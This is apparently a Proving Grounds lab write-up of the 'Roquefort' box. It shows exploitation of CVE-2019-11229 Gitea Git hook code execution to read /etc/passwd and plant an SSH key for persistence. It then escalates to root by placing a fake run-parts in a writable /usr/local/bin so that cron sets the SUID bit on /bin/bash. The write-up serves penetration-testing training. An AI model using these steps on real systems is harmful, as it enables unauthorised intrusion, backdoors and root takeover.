# Roquefort Writeup - Proving Grounds

> Intermediate Linux box running Gitea 1.7.5 with open registration, exploited via the CVE-2019-11229 Git hook RCE to plant an SSH key, then escalated to root through a writable /usr/local/bin ahead of the cron PATH.

- **URL:** https://hackindex.io/writeups/roquefort
- **Platform:** Proving Grounds
- **Difficulty:** Intermediate
- **Operating system:** Linux
- **Tags:** rce, path-hijacking, cron-abuse, privilege-escalation, gitea, cve-2019-11229
- **Authors:** [The Husky Hacker](https://hackindex.io/authors/thehuskyhacker.md)
- **Read time:** 3 min read
- **Published:** 2026-10-08
- **Updated:** 2026-10-08

Roquefort runs Gitea 1.7.5 with open registration, vulnerable to an authenticated Git hook RCE (CVE-2019-11229). A hook that writes an SSH key to `chloe`'s account gives a foothold, and a writable `/usr/local/bin` ahead of the system path in a root cron lets a fake `run-parts` binary hand over root.

## Reconnaissance

### Nmap

Four services are open.

```bash
nmap -sC -sV -p- $TARGET_IP
# 21/tcp   open ftp    (no anonymous login)
# 22/tcp   open ssh    OpenSSH
# 2222/tcp open ssh    Dropbear sshd 2016.74
# 3000/tcp open http   Gitea 1.7.5
```

Port 3000 runs Gitea 1.7.5, a self-hosted Git service, with registration open. This version is vulnerable to CVE-2019-11229, an authenticated remote code execution through Git hooks.

## Exploitation

### Gitea Git hook RCE (CVE-2019-11229)

Register an account, then create a repository to get access to its Git hooks.

Under the repository's **Settings > Git Hooks > Post-Receive Hook**, a quick test hook confirms code execution before going further.

```bash
#!/bin/bash
cat /etc/passwd
```

The hook output reveals the local user `chloe`. The target has neither `nc` nor `curl`, so instead of a reverse shell, write an attacker SSH key into chloe's `authorized_keys` for persistent access.

```bash
ssh-keygen -t rsa -f roquefort_key -N ""
cat roquefort_key.pub
# ssh-rsa AAAAB3NzaC1yc2EA<snip> kali@kali
```

```bash
#!/bin/bash
mkdir -p /home/chloe/.ssh
echo "ssh-rsa AAAAB3NzaC1yc2EA<snip> kali@kali" >> /home/chloe/.ssh/authorized_keys
chmod 700 /home/chloe/.ssh
chmod 600 /home/chloe/.ssh/authorized_keys
```

The hook fires on any push, so cloning, committing, and pushing a trivial change triggers it. Editing a file directly in the Gitea web UI and committing works just as well.

```bash
git clone http://$TARGET_IP:3000/<username>/exploit.git
cd exploit
echo "trigger" >> README.md
git add .
git commit -m "trigger hook"
git push origin master
# remote: Executing post-receive hook ...
# To http://$TARGET_IP:3000/<username>/exploit.git
#    e5f4380..8f67b03  master -> master
```

```bash
ssh -i roquefort_key chloe@$TARGET_IP
# chloe@roquefort:~$ id
# uid=1000(chloe) gid=1000(chloe) groups=1000(chloe)
```

Shell as `chloe`.

## Privilege Escalation

### PATH hijack via /usr/local/bin

Check the PATH and what chloe can write to.

```bash
echo $PATH
ls -la /usr/local/bin/
# /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
# drwxrwxrwx 2 root chloe 4096 /usr/local/bin
```

`/usr/local/bin` is writable by chloe and comes before `/usr/bin` and `/bin` in the PATH. Root cron jobs use `run-parts` to execute scripts in `/etc/cron.hourly/` and similar directories, and that lookup will resolve to whatever is placed here first.

```bash
cat /etc/crontab
ls -la /etc/cron.d/
# 17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
```

```bash
#!/bin/bash
chmod +s /bin/bash
```

```bash
echo '#!/bin/bash' > /usr/local/bin/run-parts
echo 'chmod +s /bin/bash' >> /usr/local/bin/run-parts
chmod +x /usr/local/bin/run-parts
```

Wait for the next cron run, then check whether `/bin/bash` picked up the SUID bit.

```bash
watch -n 5 'ls -la /bin/bash'
# -rwsr-sr-x 1 root root 1168776 /bin/bash
```

```bash
/bin/bash -p
# bash-5.0# id
# uid=1000(chloe) gid=1000(chloe) euid=0(root) egid=0(root)
```

Cron ran the hijacked `run-parts` as root, giving a root shell.

Related

## References

- [CVE-2019-11229](https://nvd.nist.gov/vuln/detail/CVE-2019-11229) - Gitea before 1.7.6 authenticated remote code execution via Git hooks.